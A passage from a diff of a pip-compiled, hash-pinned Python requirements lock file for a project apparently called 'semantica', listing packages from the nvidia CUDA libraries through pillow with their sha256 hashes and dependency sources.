+nvidia-cublas==13.1.1.3 \ + --hash=sha256:37936a16db8fe4ac1f065c2139360608a543a09275cb1a1af612e08cfa065436 \ + --hash=sha256:b6cdce694e47ff6aadf0a69df1cab6628d696f5ff56e8d16af50309d855fa20f \ + --hash=sha256:b7a210458267ac818974c53038fbec2e969d5c99f305ab15c72522fa9f001dd5 + # via + # cuda-toolkit + # nvidia-cudnn-cu13 + # nvidia-cusolver +nvidia-cuda-cupti==13.0.85 \ + --hash=sha256:4eb01c08e859bf924d222250d2e8f8b8ff6d3db4721288cf35d14252a4d933c8 \ + --hash=sha256:683f58d301548deeefcb8f6fac1b8d907691b9d8b18eccab417f51e362102f00 \ + --hash=sha256:796bd679890ee55fb14a94629b698b6db54bcfd833d391d5e94017dd9d7d3151 + # via cuda-toolkit +nvidia-cuda-nvrtc==13.0.88 \ + --hash=sha256:6bcd4e7f8e205cbe644f5a98f2f799bef9556fefc89dd786e79a16312ce49872 \ + --hash=sha256:ad9b6d2ead2435f11cbb6868809d2adeeee302e9bb94bcf0539c7a40d80e8575 \ + --hash=sha256:d27f20a0ca67a4bb34268a5e951033496c5b74870b868bacd046b1b8e0c3267b + # via + # cuda-toolkit + # nvidia-cublas +nvidia-cuda-runtime==13.0.96 \ + --hash=sha256:7f82250d7782aa23b6cfe765ecc7db554bd3c2870c43f3d1821f1d18aebf0548 \ + --hash=sha256:ef9bcbe90493a2b9d810e43d249adb3d02e98dd30200d86607d8d02687c43f55 \ + --hash=sha256:f79298c8a098cec150a597c8eba58ecdab96e3bdc4b9bc4f9983635031740492 + # via cuda-toolkit +nvidia-cudnn-cu13==9.20.0.48 \ + --hash=sha256:0c45dd8eeb50b603f07995b1b300c62ffe6a1980482b82b3bcf94a4ca9d49304 \ + --hash=sha256:af8139732b99c0118be65ea5aac97f0d46018f8c552889e49d2fb0c6261a4a24 \ + --hash=sha256:e31454ae00094b0c55319d9d15b6fa2fc50a9e1c0f5c8c80fb75258234e731e1 + # via torch +nvidia-cufft==12.0.0.61 \ + --hash=sha256:2708c852ef8cd89d1d2068bdbece0aa188813a0c934db3779b9b1faa8442e5f5 \ + --hash=sha256:2abce5b39d2f5ae12730fb7e5db6696533e36c26e2d3e8fd1750bdd2853364eb \ + --hash=sha256:6c44f692dce8fd5ffd3e3df134b6cdb9c2f72d99cf40b62c32dde45eea9ddad3 + # via cuda-toolkit +nvidia-cufile==1.15.1.6 \ + --hash=sha256:08a3ecefae5a01c7f5117351c64f17c7c62efa5fffdbe24fc7d298da19cd0b44 \ + --hash=sha256:bdc0deedc61f548bddf7733bdc216456c2fdb101d020e1ab4b88d232d5e2f6d1 + # via cuda-toolkit +nvidia-curand==10.4.0.35 \ + --hash=sha256:133df5a7509c3e292aaa2b477afd0194f06ce4ea24d714d616ff36439cee349a \ + --hash=sha256:1aee33a5da6e1db083fe2b90082def8915f30f3248d5896bcec36a579d941bfc \ + --hash=sha256:65b1710aa6961d326b411e314b374290904c5ddf41dc3f766ebc3f1d7d4ca69f + # via cuda-toolkit +nvidia-cusolver==12.0.4.66 \ + --hash=sha256:02c2457eaa9e39de20f880f4bd8820e6a1cfb9f9a34f820eb12a155aa5bc92d2 \ + --hash=sha256:0a759da5dea5c0ea10fd307de75cdeb59e7ea4fcb8add0924859b944babf1112 \ + --hash=sha256:16515bd33a8e76bb54d024cfa068fa68d30e80fc34b9e1090813ea9362e0cb65 + # via cuda-toolkit +nvidia-cusparse==12.6.3.3 \ + --hash=sha256:2b3c89c88d01ee0e477cb7f82ef60a11a4bcd57b6b87c33f789350b59759360b \ + --hash=sha256:80bcc4662f23f1054ee334a15c72b8940402975e0eab63178fc7e670aa59472c \ + --hash=sha256:cbcf42feb737bd7ec15b4c0a63e62351886bd3f975027b8815d7f720a2b5ea79 + # via + # cuda-toolkit + # nvidia-cusolver +nvidia-cusparselt-cu13==0.8.1 \ + --hash=sha256:4dca476c50bf4780d46cd0bfbd82e2bc10a08e4fef7950917ce8d7578d22a23f \ + --hash=sha256:786ce87568c303fadb5afcc7102d454cd3040d75f6f8626f5db460d1871f4dd0 \ + --hash=sha256:dccbd362f91a7b9024d1f55ee9f548ac065027ff15d8c8b0db889ab3a8f31215 + # via torch +nvidia-nccl-cu13==2.29.7 \ + --hash=sha256:674a12383e3c38a1bcccae7d4f3633b37852230b6047883cb2f4c2d1b36d9bf5 \ + --hash=sha256:edd81538446786ec3b73972543e53bb43bcaf0bfc8ef76cb679fcc390ffe136d + # via torch +nvidia-nvjitlink==13.3.33 \ + --hash=sha256:26a6de7fb4c8fdaa7703d3dad720d6d427ddfea5c48a528fd97c11733ad830e5 \ + --hash=sha256:4297ee49639b4f2e07255a1d69b3acc7ab2d011bb892b403e91ac98368962e3b \ + --hash=sha256:ce48b37dfeb3cb1eae4cf85adacb47d7a6539ea2272870c9a3628ce275c2037e + # via + # cuda-toolkit + # nvidia-cufft + # nvidia-cusolver + # nvidia-cusparse +nvidia-nvshmem-cu13==3.4.5 \ + --hash=sha256:290f0a2ee94c9f3687a02502f3b9299a9f9fe826e6d0287ee18482e78d495b80 \ + --hash=sha256:6dc2a197f38e5d0376ad52cd1a2a3617d3cdc150fd5966f4aee9bcebb1d68fe9 + # via torch +nvidia-nvtx==13.0.85 \ + --hash=sha256:4936d1d6780fbe68db454f5e72a42ff64d1fd6397df9f363ae786930fd5c1cd4 \ + --hash=sha256:cb7780edb6b14107373c835bf8b72e7a178bac7367e23da7acb108f973f157a6 \ + --hash=sha256:d66ea44254dd3c6eacc300047af6e1288d2269dd072b417e0adffbf479e18519 + # via cuda-toolkit +olefile==0.47 \ + --hash=sha256:543c7da2a7adadf21214938bb79c83ea12b473a4b6ee4ad4bf854e7715e13d1f \ + --hash=sha256:599383381a0bf3dfbd932ca0ca6515acd174ed48870cbf7fee123d698c192c1c + # via python-oxmsg +ollama==0.6.2 \ + --hash=sha256:3ad7daab28e5a973445c36a73882a3ef698c2ebb00e21e308652741577509f7d \ + --hash=sha256:936d55daa684f474364c098611c933626f8d6c7d67065c5b7ae0c477b508b07f + # via semantica (pyproject.toml) +omegaconf==2.3.1 \ + --hash=sha256:3d701d14e9a8828f1edd28bb70b725908b34277cdd72cf7d6a83f94dadc6b6a0 \ + --hash=sha256:e5e7de64aeebeddaf8e6d3f7a783b32ac2a01c0fbd9c878012caecb891a1f42a + # via rapidocr +onnxruntime==1.28.0 \ + --hash=sha256:07fb3cbe990d6bf0ab3c22bfbbfb0e314151266046ea6edb4a07f556b4258c5f \ + --hash=sha256:0a83bdb70d143cede762b677789bf2a7acca54b3fb82565601d5c30695aa933c \ + --hash=sha256:0d650aeee29368414367b65529e90afe4bf1bab76254789063b8b2f7ea3013c8 \ + --hash=sha256:0faf85fb447a663c9cdadc39bd6b19bdf7bedded6699e45731b9b36c46fd993d \ + --hash=sha256:1a1a19175464665c9b8d50bc916f216cc0b569110045b7bbca8f9f290b186f58 \ + --hash=sha256:26ff0fdd06efb6c155bae95387a09db1a2be89c7a03e4d0bffd5a171cc2826da \ + --hash=sha256:31410f544674f534c2f27348af52ef81682ca9c8719154bf4d48f0ef23823b1e \ + --hash=sha256:4e81a23df16e7acb9d51b06d30cc098e49315ef9180f97bc2221d167b4b04d9c \ + --hash=sha256:4f6e92367ddce1e4d33cf295024f40192be6c6171a09208f515ba169ced06c8e \ + --hash=sha256:54fa221d669282bd8f582708ce4c96010a7e9fb0661f9006b37fe2fedafb73fe \ + --hash=sha256:6afdc83f1317c136e92fc29f5ee9f058de59d87c0b22cee3fdbfbaa0ccc2098a \ + --hash=sha256:8adff67a3f28257b37cfe945a7e952e4122666aa8c91a0380862e9fd4c2ed19f \ + --hash=sha256:8d66f9ceb29909c70839e4e4fb3435c7b490050d8f162bd5f3aba4ca01ee517f \ + --hash=sha256:a166b78ee04f3a37fa1ef82034b6a3ce96d9684e582d4d30b296de83e9998bb5 \ + --hash=sha256:ac301f53b1930402fc46c368e268acfed02f3207272aaff05070d7e09f96f031 \ + --hash=sha256:bc2565e487b4896fb988d6383577d875d958e071fc5f6c3550bd5d02ae98264b \ + --hash=sha256:c35064f9b3c43c81c5d5d282091401d0f1ff22796d93ccade4ea2ece5e137ab8 \ + --hash=sha256:cfab507abe09d6ffeb817eee07944d452fdc0b00fdcef34cab4db10a45e378c7 \ + --hash=sha256:e02feeb0165c5f13b4cc954738078d59b90128516ac12b671ee24a530242bf02 \ + --hash=sha256:e562d6e36a749f6764481c0ddb0f2af3d0b5a3c164291361d08803c557f369af \ + --hash=sha256:f2a3b9e30ce880d4ca54999cb313569e36da4f62eefe25f87be18f43e9a3a4d5 \ + --hash=sha256:f5c5daabd28aad610f83fdcf32acec8fb57e6adc6c6a39fe2a3c755db957b410 \ + --hash=sha256:f649dd6f6452d12a8059888aa489fe519e062e18793dac72b9efa0f9fdb64135 \ + --hash=sha256:f7f022a1103cae591c75fc4565589a515f2ddd14a6ac8e8a05812dfeda142e28 + # via + # semantica (pyproject.toml) + # fastembed +openai==2.54.0 \ + --hash=sha256:89089789197ccdb87f173a03145ed1598d00795220c93e96cf712b1cbf5e5f2b \ + --hash=sha256:e3e6f8bc1ba30ddf381ace1a14340eed381cb984a1a59bd0f34b5be3b5d49cfa + # via + # semantica (pyproject.toml) + # instructor + # litellm +opencv-python==5.0.0.93 \ + --hash=sha256:08d5d91d967b58d6db86073b2ad3eaef88ca4ebdfd45c9059bf59f5ded0c7ad2 \ + --hash=sha256:198a75138241810206a17c829dbcc40a7cb1841cda538ca86cbbfc6c7d95f898 \ + --hash=sha256:4b4b1a34c79bf8d3738e3cfe9a9e67b51a79663f6b692cbdad8c31f570da4157 \ + --hash=sha256:66aac3e5b5faa48d4025816592f3af19e4bfc2c68dec067bae2dbb4ca10aa9e2 \ + --hash=sha256:6bbc32f59e1b1a7db7b39c81f63d00625f041d333037fd8702f6da52cc39108b \ + --hash=sha256:c8de2dec111122a02e8beb28e16c31904992dfd6186560b142a92c71403c1039 \ + --hash=sha256:e2b4272e736836f66c2d176e43ab8101f3a00d45654916399f52e150c58981ac \ + --hash=sha256:f8b6d0a212253dd26ad338c812f1f23ca118fdf05a9c8c6b9444f161aa8c5881 \ + --hash=sha256:f90ba04b8f73bc5c3814037699739f0156f597338a98f05956c684e7c3ca10d2 + # via + # semantica (pyproject.toml) + # rapidocr +openpyxl==3.1.5 \ + --hash=sha256:5282c12b107bffeef825f4617dc029afaf41d0ea60823bbb665ef3079dc79de2 \ + --hash=sha256:cf0e3cf56142039133628b5acffe8ef0c12bc902d2aadd3e0fe5878dc08d1050 + # via + # semantica (pyproject.toml) + # docling-slim +opentelemetry-api==1.43.0 \ + --hash=sha256:107d0d03857ea8fc7c5fcbbbd83f800c281f0d560553d61c1d675fccfd1761c1 \ + --hash=sha256:20acf45e9b21851926835292e4045d290acade1edd2ff3de86d2f069687ba1fd + # via + # semantica (pyproject.toml) + # opentelemetry-instrumentation + # opentelemetry-sdk + # opentelemetry-semantic-conventions +opentelemetry-instrumentation==0.64b0 \ + --hash=sha256:133ab7ffca796557aec059bf6be3190a34b6dea987f25be3d9409e230cbdad8b \ + --hash=sha256:b47d528dead6271d7743114417eb67fc915bd9258111c48dbf9a4951d2efa88d + # via semantica (pyproject.toml) +opentelemetry-sdk==1.43.0 \ + --hash=sha256:d1323a547c1ce69d6a069a17a44b7da82bb8b332051ecb074041f87642c86823 \ + --hash=sha256:d8187c81c162df9913e4003dd6485f7390d9a24fc17026ec7387b8b8218b08e9 + # via semantica (pyproject.toml) +opentelemetry-semantic-conventions==0.64b0 \ + --hash=sha256:72f76fb2d1582d9d033dd1fcd84532e961e6ff3d90d24ba6fabc72975a83864c \ + --hash=sha256:ea77e85e354b8f604ddbe5f3d9135216f982fa4d77e5859ac30f6d8a50505aa6 + # via + # semantica (pyproject.toml) + # opentelemetry-instrumentation + # opentelemetry-sdk +orjson==3.11.9 \ + --hash=sha256:011382e2a60fda9d46f1cdee31068cfc52ffe952b587d683ec0463002802a0f4 \ + --hash=sha256:03db380e3780fa0015ed776a90f20e8e20bb11dde13b216ce19e5718e3dfba62 \ + --hash=sha256:051b102c93b4f634e89f3866b07b9a9a98915ada541f4ec30f177067b2694979 \ + --hash=sha256:08f4d8ebb44925c794e535b2bebc507cebf32209df81de22ae285fb0d8d66de0 \ + --hash=sha256:0b34789fa0da61cf7bef0546b09c738fb195331e017e477096d129e9105ab03d \ + --hash=sha256:0e4eed3b200023042814d2fc8a5d2e880f13b52e1ed2485e83da4f3962f7dc1a \ + --hash=sha256:115ab5f5f4a0f203cc2a5f0fb09aee503a3f771aa08392949ab5ca230c4fbdbd \ + --hash=sha256:135869ef917b8704ea0a94e01620e0c05021c15c52036e4663baffe75e72f8ce \ + --hash=sha256:147302878da387104b66bb4a8b0227d1d487e976ce41a8501916161072ed87b1 \ + --hash=sha256:14ed654580c1ed2bc217352ec82f91b047aef82951aa71c7f64e0dcb03c0e180 \ + --hash=sha256:16969c9d369c98eb084889c6e4d2d39b77c7eb38ceccf8da2a9fff62ae908980 \ + --hash=sha256:19b72ed11572a2ee51a67a903afbe5af504f84ed6f529c0fe44b0ab3fb5cc697 \ + --hash=sha256:231742b4a11dad8d5380a435962c57e91b7c37b79be858f4ef1c0df1a259897e \ + --hash=sha256:25e4aed0312d292c09f61af25bba34e0b2c88546041472b09088c39a4d828af1 \ + --hash=sha256:26a473dbb4162108b27901492546f83c76fdcea3d0eadff00ae7a07e18dcce09 \ + --hash=sha256:277fefe9d76ee17eb14debf399e3533d4d63b5f677a4d3719eb763536af1f4bd \ + --hash=sha256:2d057a602cdd19a0ad680417527c45b6961a095081c0f46fe0e03e304aac6470 \ + --hash=sha256:32ef5f4283a3be81913947d19608eacb7c6608026851123790cd9cc8982af34b \ + --hash=sha256:33d7d766701847dc6729846362dc27895d2f2d2251264f9d10e7cb9878194877 \ + --hash=sha256:34fd2317602587321faab75ab76c623a0117e80841a6413654f04e47f339a8fb \ + --hash=sha256:3513550321f8c8c811a7c3297b8a630e82dc08e4c10216d07703c997776236cd \ + --hash=sha256:380cdce7ba24989af81d0a7013d0aaec5d0e2a21734c0e2681b1bc4f141957fe \ + --hash=sha256:3a81d52442a7c99b3662333235b3adf96a1715864658b35bb797212be7bddb97 \ + --hash=sha256:3ebca4179031ee716ed076ffadc29428e900512f6fccee8614c9983157fcf19c \ + --hash=sha256:48ee05097750de0ff69ed5b7bbcf0732182fd57a24043dcc2a1da780a5ead3a5 \ + --hash=sha256:4bab1b2d6141fe7b32ae71dac905666ece4f94936efbfb13d55bb7739a3a6021 \ + --hash=sha256:4d4e98d6f3b8afed8bc8cd9718ec0cdf46661826beefb53fe8eafb37f2bf0362 \ + --hash=sha256:4d7fde5501b944f83b3e665e1b31343ff6e154b15560a16b7130ea1e594a4206 \ + --hash=sha256:4da3c38a2083ca4aaf9c2a36776cce3e9328e6647b10d118948f3cfb4913ffe4 \ + --hash=sha256:4e39364e726a8fff737309aff059ff67d8a8c8d5b677be7bb49a8b3e84b7e218 \ + --hash=sha256:4fd66214623f1b17501df9f0543bef0b833979ab5b6ded1e1d123222866aa8c9 \ + --hash=sha256:4fef17e1f8722c11587a6ef18e35902450221da0028e65dbaaa543619e68e48f \ + --hash=sha256:53b50b0e14084b8f7e29c5ce84c5af0f1160169b30d8a6914231d97d2fe297d4 \ + --hash=sha256:57ea77fb70a448ce87d18fca050193202a3da5e54598f6501ca5476fb66cfe02 \ + --hash=sha256:59e403b1cc5a676da8eaf31f6254801b7341b3e29efa85f92b48d272637e77be \ + --hash=sha256:5b192c6cf397e4455b11523c5cf2b18ed084c1bbd61b6c0926344d2129481972 \ + --hash=sha256:5f63aaf97afd9f6dec5b1a68e1b8da12bfccb4cb9a9a65c3e0b6c847849e7586 \ + --hash=sha256:63e0efbc991250c0b3143488fa57d95affcabbfc63c99c48d625dd37779aafe2 \ + --hash=sha256:6cc7923789694fd58f001cbcac7e47abc13af4d560ebbfcf3b41a8b1a0748124 \ + --hash=sha256:71e63adb0e1f1ed5d9e168f50a91ceb93ae6420731d222dc7da5c69409aa47aa \ + --hash=sha256:71f3db16e69b667b132e0f305a833d5497da302d801508cbb051ed9a9819da47 \ + --hash=sha256:844417969855fc7a41be124aafe83dc424592a7f77cd4501900c67307122b92c \ + --hash=sha256:8697ab6a080a5c46edaad50e2bc5bd8c7ca5c66442d24104fa44ec74910a8244 \ + --hash=sha256:87e4d4ab280b0c87424d47695bec2182caf8cfc17879ea78dab76680194abc13 \ + --hash=sha256:8aff7da9952a5ad1cef8e68017724d96c7b9a66e99e91d6252e1b133d67a7b10 \ + --hash=sha256:8ecc30f10465fa1e0ce13fd01d9e22c316e5053a719a8d915d4545a09a5ff677 \ + --hash=sha256:97d0d932803c1b164fde11cb542a9efcb1e0f63b184537cca65887147906ff48 \ + --hash=sha256:97db4c94a7db398a5bd636273324f0b3fd58b350bbbac8bb380ceb825a9b40f4 \ + --hash=sha256:9af678d6488357948f1f84c6cd1c1d397c014e1ae2f98ae082a44eb48f602624 \ + --hash=sha256:9ef6fe90aadef185c7b128859f40beb24720b4ecea95379fc9000931179c3a49 \ + --hash=sha256:9f78cf8fec5bd627f4082b8dfeac7871b43d7f3274904492a43dab39f18a19a0 \ + --hash=sha256:a028425d1b440c5d92a6be1e1a020739dfe67ea87d96c6dbe828c1b30041728b \ + --hash=sha256:a6082706765a95a6680d812e1daf1c0cfe8adec7831b3ff3b625693f3b461b1c \ + --hash=sha256:a8f5f8bc7ce7d59f08d9f99fa510c06496164a24cb5f3d34537dbd9ca30132e2 \ + --hash=sha256:aaea64f3f467d22e70eeed68bdccb3bc4f83f650446c4a03c59f2cba28a108db \ + --hash=sha256:ace6c58523302d3b97b6ac5c38a5298a54b473762b6be82726b4265c41029f92 \ + --hash=sha256:b3afcf569c15577a9fe64627292daa3e6b3a70f4fb77a5df246a87ec21681b94 \ + --hash=sha256:b6ef1979adc4bc243523f1a2ba91418030a8e29b0a99cbe7e0e2d6807d4dce6e \ + --hash=sha256:be4fa4f0af7fa18951f7ab3fc2148e223af211bf03f59e1c6034ec3f97f21d61 \ + --hash=sha256:c2d3dc759490128c5c1711a53eeaa8ee1d437fd0038ffd2b6008abf46db3f882 \ + --hash=sha256:c5d001196b89fa9cf0a4ab79766cd835b991a166e4b621ba95089edc50c429ff \ + --hash=sha256:cce9127885941bd28f080cecf1f1d288336b7e0d812c345b08be88b572796254 \ + --hash=sha256:cde1a448023ba7d5bb4c01c5afb48894380b5e4956e0627266526587ef4e535f \ + --hash=sha256:d4087e5c0209a0a8efe4de3303c234b9c44d1174161dcd851e8eea07c7560b32 \ + --hash=sha256:d8ea516b3726d190e1b4297e6f4e7a8650347ae053868a18163b4dd3641d1fff \ + --hash=sha256:e30ab17845bb9fa54ccf67fa4f9f5282652d54faa6d17452f47d0f369d038673 \ + --hash=sha256:e5c9b8f28e726e97d97696c826bc7bea5d71cecd63576dba92924a32c1961291 \ + --hash=sha256:ea407d4ccf5891d667d045fecae97a7a1e5e87b3b97f97ae1803c2e741130be0 \ + --hash=sha256:ea5c46eb2d3af39e806b986f4b09d5c2706a1f5afde3cbf7544ce6616127173c \ + --hash=sha256:eebdbdeef0094e4f5aefa20dcd4eb2368ab5e7a3b4edea27f1e7b2892e009cf9 \ + --hash=sha256:f01c4818b3fc9b0da8e096722a84318071eaa118df35f6ed2344da0e73a5444f \ + --hash=sha256:f36b7f32c7c0db4a719f1fc5824db4a9c6f8bd1a354debb91faf26ebf3a4c71e \ + --hash=sha256:f5d89a2ed90731df3be64bab0aa44f78bff39fdc9d71c291f4a8023aa46425b7 \ + --hash=sha256:ffe02797b5e9f3a9d8292ddcd289b474ad13e81ad83cd1891a240811f1d2cb81 + # via pymilvus +overrides==7.7.0 \ + --hash=sha256:55158fa3d93b98cc75299b1e67078ad9003ca27945c76162c1c0766d6f91820a \ + --hash=sha256:c7ed9d062f78b8e4c1a7b70bd8796b35ead4d9f510227ef9c5dc7626c60d7e49 + # via jupyter-server +owlrl==7.6.2 \ + --hash=sha256:83347bf7f133979e87b2b18695d51d25510b99cec3f6919b5df05d4fbf058ae0 \ + --hash=sha256:c743f35c2d908396e77823852bb1ebbce88340cd49961493983bec42c93283a8 + # via pyshacl +packaging==26.3 \ + --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \ + --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c + # via + # accelerate + # agno + # black + # d3graph + # deprecation + # distfit + # faiss-cpu + # huggingface-hub + # ipykernel + # jupyter-events + # jupyter-server + # jupyterlab + # jupyterlab-server + # kombu + # lazy-loader + # matplotlib + # nbconvert + # onnxruntime + # opentelemetry-instrumentation + # plotly + # pooch + # pyshacl + # pytest + # spacy + # statsmodels + # thinc + # transformers + # weasel +pandas==3.0.5 \ + --hash=sha256:08d24fe11a17dc33bd6e937dc9c665f9cba08fbdc9f657f405713515febe300d \ + --hash=sha256:0d298e951f23016ce4699951d044ae6418dbc91bf68cefca0f77666fcbb4e5c6 \ + --hash=sha256:0fac0010c75e4efb6b99e249c183a8993ce0dc95c240f9b120a5e67c727b7928 \ + --hash=sha256:1c10461f6eeb35d8f05b6184c65c8b9991663b66c46b1d559b682cb34ae7c6ea \ + --hash=sha256:25ff585b972a18ef1fe9ffa3ac6544d9950508aa76832e5147640b6022821e49 \ + --hash=sha256:2946e77e4a53cd248cbde631a12f0e51c8324ce354c3eba4d20147c1ad6f4282 \ + --hash=sha256:2a29c53d85ea98c5e792c59ef82ee9fbe6ca902c0d0adb6b23f45ef894cd7bf6 \ + --hash=sha256:2c0cf1dd9b55a22d105fc46c1b489af3bd42264fcba7c66297bf47a9a1d9c78a \ + --hash=sha256:2f264fc46911cc8131a7322a16199bbf8e353d27c10bb211f5bd0c814324dc36 \ + --hash=sha256:303da736987d481074ca720ada325f8bd80c64ebc2d45ed79b29df3aaa4a26ca \ + --hash=sha256:3b2801bbb049d0136f6c213eae02b5fca969384fc2064dd728d8620552aa49da \ + --hash=sha256:3c5015fd1730fbf883647e88068176c839c102cea883ba1769a6f4593bfc1f8c \ + --hash=sha256:3c5ed2e7c06e91d340dfd091d7934f9bc82e4a36b95f647f090b9d1c9ac649da \ + --hash=sha256:4b11c36e218331d0387cbe3a0a5f75162357a1d92d57b2b08a336ff94b19b2be \ + --hash=sha256:5183427f5a8156d480f30333777bc978be93650a49a7c01db26adffe95b31e85 \ + --hash=sha256:53730687fcd161883b24e10411c06d6a4c0f2275d2faf3bb2bc25deb4ba8007c \ + --hash=sha256:66266d3442a5e8b3c90274c2b8b230bee42dd1c286bc822cc2f9f2c7e12b883e \ + --hash=sha256:679f4e85b30ddb1515458ab1e788d3e260eae369b1f78da7a3aa4cac8ebf4a2a \ + --hash=sha256:71ecc8fb7ed1a7aa4392316b5309a6347e8e7f832f38fd897846b3a1457a9298 \ + --hash=sha256:73fa87b08a7ef706f8aafda39ddaccf2a99047bea62d8c88a0361bcafb2237bc \ + --hash=sha256:80a611068e8a3ac23f7398c6c14eb46dc974e5cc9997f653e2dcfd1da74edd41 \ + --hash=sha256:960d3ebcf249f75206899fcd2c6de53f736b7265759ced0d3e559df0b8b709b0 \ + --hash=sha256:9e94c2c5ca43bd3ca32bf64d32308887b65e5f9bfd8023ea52755107a999f93b \ + --hash=sha256:a5ad3b02ed6bc7d7ae9b70804b2c6aa31827489d150f8e623ce82491b82085d7 \ + --hash=sha256:b1261758dfb6cf12c3cff8300e21cefad30e7ec709abb4c24ac7318e6a52462a \ + --hash=sha256:b173f5951ff6b8b0ec7675e20dff3c97b7e7a57dfcce387c2d7c5afe87cb7899 \ + --hash=sha256:b2acb4650527eec6822c3dadb2b771277b65e7dae7a267d4bccf65fd1bb3fbce \ + --hash=sha256:b58b1b39d46a5862e3fb18f50d1a201398619d16a0f9f73f57eea5583cf0e63c \ + --hash=sha256:b86765f268b56f7e665b93bce9d5df69dee7f99e595cf8fb839483ab315942a3 \ + --hash=sha256:c1c05a767fe8e5b4fe9e1c29806829c582052eaedb9120a3da83ba3f69e24a5b \ + --hash=sha256:c2e26bb46934b8a2ca0c3de1d3d606fc5f6746584791b2db264d58cf370e08dc \ + --hash=sha256:c597ecf5616b5c420372c1d4d4c00dbbfba7398bea857dcc984347e1ea48417b \ + --hash=sha256:cce3a9d11d2b1f82c69a27ec1f4948a170e2c403c4bbfa8cca62e3fdebe2ef3a \ + --hash=sha256:cd8f7c6dc98527058ee6264219343f5392240a6f1bfa654fc5d79023020d0c92 \ + --hash=sha256:cf52e1f61d229496da17dc7ab54acdee627357e7008fd4fecba3d0ba2937fa58 \ + --hash=sha256:d373ce03ffd84010ed9839fa73672a9c8256990532e158440c0085db7d914b34 \ + --hash=sha256:db172144bb56422bd157812f3b021eacc255451470b31e2c633c349490a1cfee \ + --hash=sha256:dca3734d6ab7c906e6730f0788b0a1dbb9f2467731f9711f77995c8e9d62d712 \ + --hash=sha256:e2759e890db96dfcffdbd9b86c3c2cb6afaf58def482820317e06163ec1066cd \ + --hash=sha256:e819dd5f62966b481a8cb649d3299ebd886a1ea91ed5a99bf7ce77c98d18ab94 \ + --hash=sha256:ef01af4d8dc6cd2c8d6c7736f149574ef93fe043811eeb5e445f2647154b5040 \ + --hash=sha256:fa290c16964d4963fbfbc358928239cf3bd755b20e988ce944877def2f44471d + # via + # semantica (pyproject.toml) + # bertopic + # d3blocks + # d3graph + # datazets + # distfit + # docling-core + # pymilvus + # seaborn + # statsmodels +pandocfilters==1.5.1 \ + --hash=sha256:002b4a555ee4ebc03f8b66307e287fa492e4a77b4ea14d3f934328297bb4939e \ + --hash=sha256:93be382804a9cdb0a7267585f157e5d1731bbe5545a85b268d6f5fe6232de2bc + # via nbconvert +parso==0.8.7 \ + --hash=sha256:a8926eb2a1b915486941fdbd31e86a4baf88fe8c210f25f2f35ecec5b574ca1c \ + --hash=sha256:eaaac4c9fdd5e9e8852dc778d2d7405897ec510f2a298071453e5e3a07914bb1 + # via jedi +pathspec==1.1.1 \ + --hash=sha256:17db5ecd524104a120e173814c90367a96a98d07c45b2e10c2f3919fff91bf5a \ + --hash=sha256:a00ce642f577bf7f473932318056212bc4f8bfdf53128c78bbd5af0b9b20b189 + # via + # black + # mypy +patsy==1.0.2 \ + --hash=sha256:37bfddbc58fcf0362febb5f54f10743f8b21dd2aa73dec7e7ef59d1b02ae668a \ + --hash=sha256:cdc995455f6233e90e22de72c37fcadb344e7586fb83f06696f54d92f8ce74c0 + # via statsmodels +pexpect==4.9.0 \ + --hash=sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523 \ + --hash=sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f + # via ipython +pgvector==0.5.0 \ + --hash=sha256:07a9dcf735696879406983afc6eba9a787cef7c0cf6c367ca1a5779f036dee74 \ + --hash=sha256:fedc9800894e6da2be51358d7b7c574bf34f247ca741a5a09513622135f5964f + # via semantica (pyproject.toml) +pika==1.4.4 \ + --hash=sha256:48de960c97a93b55db06b8be4c53eb977c9c8a2754c57cdae9097abcbd70ce04 \ + --hash=sha256:8cfc8b33a5cb16e733bd60cffca9732c0d1d761ecd80a89f34ed7df2cd38d6d6 + # via semantica (pyproject.toml) +pillow==12.3.0 \ + --hash=sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756 \ + --hash=sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a \ + --hash=sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59 \ + --hash=sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45 \ + --hash=sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3 \ + --hash=sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df \ + --hash=sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139 \ + --hash=sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b \ + --hash=sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39 \ + --hash=sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e \ + --hash=sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8 \ + --hash=sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1 \ + --hash=sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8 \ + --hash=sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89 \ + --hash=sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5 \ + --hash=sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130 \ + --hash=sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd \ + --hash=sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d \ + --hash=sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b \ + --hash=sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed \ + --hash=sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace \ + --hash=sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb \ + 